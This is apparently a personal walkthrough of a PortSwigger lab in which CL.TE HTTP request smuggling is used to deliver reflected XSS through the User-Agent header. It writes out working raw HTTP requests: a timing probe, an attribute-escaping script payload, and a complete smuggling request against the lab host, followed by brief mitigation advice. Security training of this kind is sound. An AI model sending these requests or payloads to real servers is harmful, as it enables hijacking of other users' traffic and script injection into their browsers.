PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS
Task
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.
The application is also vulnerable to reflected XSS via the User-Agent header.
To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).
Notes
- Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.
- The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user’s request occurs as required.
Tip
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
Attempt
Before starting working on the lab, I installed HTTP Request Smuggler via BApp Store. Extensions > BApp Store. Since the description explicitly says the frontend server doesn’t support chunked encoding, most likely we’re gonna use CL.TE vulnerabilities.
This timing technique could be usable:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
This will cause an observable delay if the target has a CL.TE vulnerability.
First I sent a comment on a blog post and captured a request, sent it to Repeater. But since this got redirected and it was hard to confirm a xss vulnerability, I chose a GET request to /post?postId=3, and tried this payload:
<script>alert(window.origin);</script>
It wasn’t reflected because the code was value="<script>alert(window.origin);</script>">so I tweaked the payload by adding "> and now got reflected:
<input required type="hidden" name="userAgent" value=""><script>alert(window.origin);</script>">
Though I installed the plugin, I decided to manually exploit the vulnerability. First I tested the timing technique to confirm the vulnerability:
POST / HTTP/1.1
Host: 0a0d00f5041e114f80bf948800f20081.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
This caused a timeout. When editing the request above, click the gear icon and turn off Update content length. Also make sure to use HTTP/1.1.
Then send the request below. When sending, show non-printable characters (with \n icon) and also turn on ‘update content length’ again so that the first content-length header will be adjusted automatically:
POST / HTTP/1.1
Host: 0a0d00f5041e114f80bf948800f20081.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: chunked
0
GET /post?postId=5
HTTP/1.1
User-Agent: "/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
As you can see in the above request the first content length isn’t accurate but it will get adjusted.
Mitigation
Use HTTP/2 and disable downgrading. If you can’t avoid downgrading, validate the rewritten request.
Discard the connection if server-level exceptions are triggered when handling requests.